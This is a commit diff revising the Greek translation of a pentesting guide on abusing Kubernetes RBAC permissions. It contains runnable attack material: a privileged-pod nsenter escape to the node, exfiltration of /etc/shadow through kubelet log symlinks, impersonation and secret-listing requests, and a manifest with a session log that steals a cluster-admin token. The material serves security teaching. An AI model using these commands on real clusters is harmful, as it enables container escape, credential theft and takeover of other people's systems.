Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-01-22 12:06:59 +00:00
parent fe7ae19059
commit 13a9d4e39f

View File

@@ -17,7 +17,7 @@
### Πρόσβαση σε Οποιονδήποτε Πόρο ή Ρήμα (Wildcard)
Ο **wildcard (\*) δίνει άδεια σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα**. Χρησιμοποιείται από διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να καταχραστεί οποιοδήποτε namespace στο cluster
Η **άγρια κάρτα (\*) δίνει άδεια σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα**. Χρησιμοποιείται από διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να καταχραστεί οποιοδήποτε namespace στο cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,11 +29,11 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Πρόσβαση σε οποιοδήποτε πόρο με μια συγκεκριμένη ρήμα
### Πρόσβαση σε οποιοδήποτε πόρο με συγκεκριμένο ρήμα
Στο RBAC, ορισμένες άδειες ενέχουν σημαντικούς κινδύνους:
1. **`create`:** Παρέχει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου κλάστερ, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων.
1. **`create`:** Δίνει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου του cluster, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων.
2. **`list`:** Επιτρέπει την καταγραφή όλων των πόρων, ενδεχομένως διαρρέοντας ευαίσθητα δεδομένα.
3. **`get`:** Επιτρέπει την πρόσβαση σε μυστικά από λογαριασμούς υπηρεσιών, θέτοντας σε κίνδυνο την ασφάλεια.
```yaml
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Pod Create & Escape
### Δημιουργία Pod & Διαφυγή
Τα παρακάτω υποδεικνύουν όλα τα προνόμια που μπορεί να έχει ένα κοντέινερ:
- **Προνομιακή πρόσβαση** (απενεργοποίηση προστασιών και ρύθμιση ικανοτήτων)
- **Απενεργοποίηση των namespaces hostIPC και hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
- **Απενεργοποίηση του hostNetwork** namespace, δίνοντας πρόσβαση για κλοπή των προνομίων cloud των κόμβων και καλύτερη πρόσβαση σε δίκτυα
- **Σύνδεση των hosts / μέσα στο κοντέινερ**
- **Απενεργοποίηση namespaces hostIPC και hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
- **Απενεργοποίηση του hostNetwork** namespace, δίνοντας πρόσβαση για κλοπή προνομίων cloud των κόμβων και καλύτερη πρόσβαση σε δίκτυα
- **Σύνδεση hosts / μέσα στο κοντέινερ**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -123,11 +123,11 @@ kubectl --token $token create -f mount_root.yaml
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Τώρα που μπορείτε να διαφύγετε στον κόμβο, ελέγξτε τις τεχνικές μετά την εκμετάλλευση στο:
Τώρα που μπορείτε να διαφύγετε στον κόμβο, ελέγξτε τις τεχνικές μετα-εκμετάλλευσης στο:
#### Stealth
Πιθανώς θέλετε να είστε **πιο διακριτικοί**. Στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να αποκτήσετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα προαναφερθέντα δικαιώματα στο προηγούμενο πρότυπο:
Πιθανώς θέλετε να είστε **πιο διακριτικοί**, στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα αναφερόμενα δικαιώματα στο προηγούμενο πρότυπο:
- **Privileged + hostPID**
- **Privileged μόνο**
@@ -138,7 +138,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
_Μπορείτε να βρείτε παραδείγματα για το πώς να δημιουργήσετε/εκμεταλλευτείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Pod Create - Move to cloud
### Pod Create - Μετακίνηση στο cloud
Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε δικαιώματα σε περιβάλλον cloud** αναθέτοντας **ρόλους cloud σε ένα pod ή σε έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\
Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host**, μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **κόμβου**.
@@ -149,7 +149,7 @@ _Μπορείτε να βρείτε παραδείγματα για το πώς
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
### **Δημιουργία/Επικαιροποίηση Ανάπτυξης, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs και Cronjobs**
Είναι δυνατόν να εκμεταλλευτείτε αυτές τις άδειες για να **δημιουργήσετε ένα νέο pod** και να εδραιώσετε δικαιώματα όπως στο προηγούμενο παράδειγμα.
@@ -193,7 +193,7 @@ path: /
**`pods/exec`** είναι ένας πόρος στο kubernetes που χρησιμοποιείται για **την εκτέλεση εντολών σε ένα shell μέσα σε ένα pod**. Αυτό επιτρέπει να **εκτελούνται εντολές μέσα στα containers ή να αποκτάται ένα shell μέσα**.
Επομένως, είναι δυνατόν να **μπείτε μέσα σε ένα pod και να κλέψετε το token του SA**, ή να εισέλθετε σε ένα προνομιούχο pod, να διαφύγετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και (ab) να χρησιμοποιήσετε τον κόμβο:
Επομένως, είναι δυνατόν να **μπείτε μέσα σε ένα pod και να κλέψετε το token του SA**, ή να εισέλθετε σε ένα προνομιούχο pod, να διαφύγετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και να (κατα)χρησιμοποιήσετε τον κόμβο:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
@@ -205,13 +205,13 @@ kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Όπως [**υποδεικνύεται σε αυτή την έρευνα**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να έχετε πρόσβαση ή να δημιουργήσετε ένα pod με το **hosts `/var/log/` directory mounted** σε αυτό, μπορείτε να **ξεφύγετε από το container**.\
Αυτό συμβαίνει βασικά επειδή όταν ο **Kube-API προσπαθεί να πάρει τα logs** ενός container (χρησιμοποιώντας `kubectl logs <pod>`), **ζητάει το `0.log`** αρχείο του pod χρησιμοποιώντας το `/logs/` endpoint της υπηρεσίας **Kubelet**.\
Η υπηρεσία Kubelet εκθέτει το `/logs/` endpoint το οποίο βασικά **εκθέτει το `/var/log` filesystem του container**.
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να αποκτήσετε πρόσβαση ή να δημιουργήσετε ένα pod με το **hosts `/var/log/` directory mounted** σε αυτό, μπορείτε να **escape from the container**.\
Αυτό συμβαίνει βασικά επειδή όταν ο **Kube-API προσπαθεί να πάρει τα logs** ενός container (χρησιμοποιώντας `kubectl logs <pod>`), **requests the `0.log`** αρχείο του pod χρησιμοποιώντας το `/logs/` endpoint της υπηρεσίας **Kubelet**.\
Η υπηρεσία Kubelet εκθέτει το `/logs/` endpoint το οποίο βασικά **exposing the `/var/log` filesystem of the container**.
Επομένως, ένας επιτιθέμενος με **πρόσβαση για εγγραφή στον φάκελο /var/log/** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:
Επομένως, ένας επιτιθέμενος με **access to write in the /var/log/ folder** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:
- Τροποποιώντας το `0.log` αρχείο του container του (συνήθως τοποθετημένο στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι ένα **symlink που δείχνει στο `/etc/shadow`** για παράδειγμα. Στη συνέχεια, θα μπορείτε να εξάγετε το αρχείο shadow των hosts κάνοντας:
- Modifying the `0.log` file of its container (συνήθως βρίσκεται στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι ένα **symlink pointing to `/etc/shadow`** για παράδειγμα. Τότε, θα μπορείτε να εξάγετε το αρχείο shadow των hosts κάνοντας:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Αν ο επιτιθέμενος ελέγχει οποιονδήποτε φορέα με τα **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
- Αν ο επιτιθέμενος ελέγχει οποιονδήποτε φορέα με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -235,7 +235,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
#### Παράκαμψη προστασίας readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Αν είστε αρκετά τυχεροί και η πολύ προνομιακή ικανότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw:
Αν είστε αρκετά τυχεροί και η πολύ προνομιούχα δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw:
```bash
mount -o rw,remount /hostlogs/
```
@@ -247,7 +247,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Που είχε σκοπό να αποτρέψει τις διαρροές όπως οι προηγούμενες, χρησιμοποιώντας αντί για μια hostPath mount, μια PersistentVolume και μια PersistentVolumeClaim για να τοποθετήσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής:
Που προοριζόταν να αποτρέψει τις διαφυγές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για μια προσάρτηση hostPath, έναν PersistentVolume και έναν PersistentVolumeClaim για να προσθέσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -295,7 +295,7 @@ name: task-pv-storage-vol
```
### **Υποκατάσταση προνομιακών λογαριασμών**
Με ένα [**προνόμιο υποκατάστασης χρήστη**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να υποκαταστήσει έναν προνομιακό λογαριασμό.
Με ένα [**δικαίωμα υποκατάστασης χρήστη**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να υποκαταστήσει έναν προνομιακό λογαριασμό.
Απλά χρησιμοποιήστε την παράμετρο `--as=<username>` στην εντολή `kubectl` για να υποκαταστήσετε έναν χρήστη, ή `--as-group=<group>` για να υποκαταστήσετε μια ομάδα:
```bash
@@ -310,25 +310,89 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Καταγραφή Μυστικών
### Listing Secrets
Η άδεια να **καταγράψει μυστικά θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα μυστικά** αποκτώντας πρόσβαση στο REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Δημιουργία και Ανάγνωση Μυστικών
Υπάρχει ένας ειδικός τύπος μυστικού Kubernetes του τύπου **kubernetes.io/service-account-token** που αποθηκεύει τα tokens του serviceaccount.
Αν έχετε άδειες για να δημιουργείτε και να διαβάζετε μυστικά, και γνωρίζετε επίσης το όνομα του serviceaccount, μπορείτε να δημιουργήσετε ένα μυστικό ως εξής και στη συνέχεια να κλέψετε το token του serviceaccount του θύματος από αυτό:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Παράδειγμα εκμετάλλευσης:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Σημειώστε ότι αν έχετε άδεια να δημιουργείτε και να διαβάζετε μυστικά σε ένα συγκεκριμένο namespace, ο λογαριασμός υπηρεσίας του θύματος πρέπει επίσης να βρίσκεται σε αυτό το ίδιο namespace.
### Ανάγνωση ενός μυστικού brute-forcing token IDs
Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**listing secrets**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσιών στο σύστημα μπορούν να απαριθμηθούν, καθένας από τους οποίους σχετίζεται με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό token πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**listing secrets**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να καταμετρηθούν, καθένας συνδεδεμένος με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό token πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε λογικά να εκτελέσει μια επίθεση brute-force για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσιών.
Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε λογικά να εκτελέσει μια επίθεση brute-force για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας.
### Αιτήματα Υπογραφής Πιστοποιητικών
Εάν έχετε τα ρήματα **`create`** στον πόρο `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR ενός **νέου κόμβου.**
Αν έχετε τα ρήματα **`create`** στον πόρο `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR ενός **νέου κόμβου.**
Σύμφωνα με την [τεκμηρίωση είναι δυνατό να εγκρίνετε αυτόματα αυτά τα αιτήματα](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον δικαιώματα**. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `<signerNameDomain>/<signerNamePath>` ή `<signerNameDomain>/*`
Ένα **παράδειγμα ρόλου** με όλες τις απαιτούμενες άδειες είναι:
Ένα **παράδειγμα ρόλου** με όλα τα απαιτούμενα δικαιώματα είναι:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -359,10 +423,10 @@ resourceNames:
verbs:
- approve
```
Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **ανυψώσετε προνόμια**.
Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **αναβαθμίσετε προνόμια**.
Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να ανυψώσει προνόμια κλέβοντας μυστικά.\
Αν **έχετε τα αναφερόμενα προνόμια, θα μπορούσατε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.**
Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να αναβαθμίσει προνόμια κλέβοντας μυστικά.\
Αν **έχετε τα αναφερόμενα προνόμια, μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.**
Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να **δημιουργήσετε διαπιστευτήρια κόμβου για το όνομα του κόμβου όπου είναι τοποθετημένο το κοντέινερ με τα ενδιαφέροντα μυστικά** (αλλά απλώς ελέγξτε πώς να το κάνετε στο πρώτο άρθρο):
```bash
@@ -424,13 +488,13 @@ groups:
> Όταν μιλάτε με το K8s api endpoint, το **GCP auth token θα σταλεί**. Στη συνέχεια, το GCP, μέσω του K8s api endpoint, θα ελέγξει πρώτα αν ο **principal** (με email) **έχει πρόσβαση μέσα στο cluster**, και μετά θα ελέγξει αν έχει **οποιαδήποτε πρόσβαση μέσω GCP IAM**.\
> Αν **οποιοδήποτε** από αυτά είναι **αληθινό**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **άδειες μέσω GCP IAM**.
Στη συνέχεια, η πρώτη μέθοδος είναι η χρήση του **GCP IAM**, οι άδειες K8s έχουν τις **ισοδύναμες άδειες GCP IAM**, και αν ο principal τις έχει, θα μπορεί να τις χρησιμοποιήσει.
Έτσι, η πρώτη μέθοδος είναι η χρήση του **GCP IAM**, οι άδειες K8s έχουν τις **ισοδύναμες άδειες GCP IAM**, και αν ο principal τις έχει, θα μπορεί να τις χρησιμοποιήσει.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
Η δεύτερη μέθοδος είναι **η ανάθεση αδειών K8s μέσα στο cluster** αναγνωρίζοντας τον χρήστη μέσω του **email** (συμπεριλαμβανομένων των λογαριασμών υπηρεσιών GCP).
Η δεύτερη μέθοδος είναι **η ανάθεση αδειών K8s μέσα στο cluster** αναγνωρίζοντας τον χρήστη με το **email** του (συμπεριλαμβανομένων των λογαριασμών υπηρεσιών GCP).
### Create serviceaccounts token
@@ -444,26 +508,26 @@ Principals που μπορούν να **`update`** ή **`patch`** **`pods/epheme
Principals με οποιοδήποτε από τα ρήματα `create`, `update` ή `patch` πάνω σε `validatingwebhookconfigurations` ή `mutatingwebhookconfigurations` μπορεί να είναι σε θέση να **δημιουργήσουν μία από αυτές τις webhookconfigurations** προκειμένου να μπορέσουν να **αναβαθμίσουν τις άδειες**.
Για ένα [`mutatingwebhookconfigurations` παράδειγμα ελέγξτε αυτή την ενότητα της ανάρτησης](./#malicious-admission-controller).
Για ένα [`mutatingwebhookconfigurations` παράδειγμα ελέγξτε αυτή την ενότητα της ανάρτησης](#malicious-admission-controller).
### Escalate
Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), ένας principal δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει ο ίδιος αυτές τις νέες άδειες. Εκτός αν έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`**.\
Όπως μπορείτε να διαβάσετε στην επόμενη ενότητα: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), ένας principal δεν μπορεί να ενημερώσει ούτε να δημιουργήσει ρόλους ή clusterroles χωρίς να έχει ο ίδιος αυτές τις νέες άδειες. Εκτός αν έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`**.\
Τότε μπορεί να ενημερώσει/δημιουργήσει νέους ρόλους, clusterroles με καλύτερες άδειες από αυτές που έχει.
### Nodes proxy
Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπορούν να **εκτελέσουν κώδικα σε pods** μέσω του Kubelet API (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Περισσότερες πληροφορίες σχετικά με την αυθεντικοποίηση Kubelet σε αυτή τη σελίδα:
Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπορούν να **εκτελούν κώδικα σε pods** μέσω του Kubelet API (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Περισσότερες πληροφορίες σχετικά με την αυθεντικοποίηση Kubelet σε αυτή τη σελίδα:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Έχετε ένα παράδειγμα για το πώς να αποκτήσετε [**RCE μιλώντας εξουσιοδοτημένα σε ένα Kubelet API εδώ**](../pentesting-kubernetes-services/#kubelet-rce).
Έχετε ένα παράδειγμα για το πώς να αποκτήσετε [**RCE μιλώντας εξουσιοδοτημένα σε ένα Kubelet API εδώ**](../pentesting-kubernetes-services/index.html#kubelet-rce).
### Delete pods + unschedulable nodes
Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν **να κάνουν άλλους κόμβους μη προγραμματίσιμους** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν κόμβους** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλους κόμβους** ώστε να **εκτελούνται** στον **συμβιβασμένο** **κόμβο** και ο επιτιθέμενος μπορεί να **κλέψει τα tokens** από αυτά τα pods.
Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν να **κάνουν άλλα nodes μη προγραμματίσιμα** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν nodes** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλα nodes** ώστε να **εκτελούνται** στο **συμβιβασμένο** **node** και ο επιτιθέμενος μπορεί να **κλέψει τα tokens** από αυτά τα pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -476,7 +540,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Κατάσταση Υπηρεσιών (CVE-2020-8554)
Οι κύριοι που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του clus**ter. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
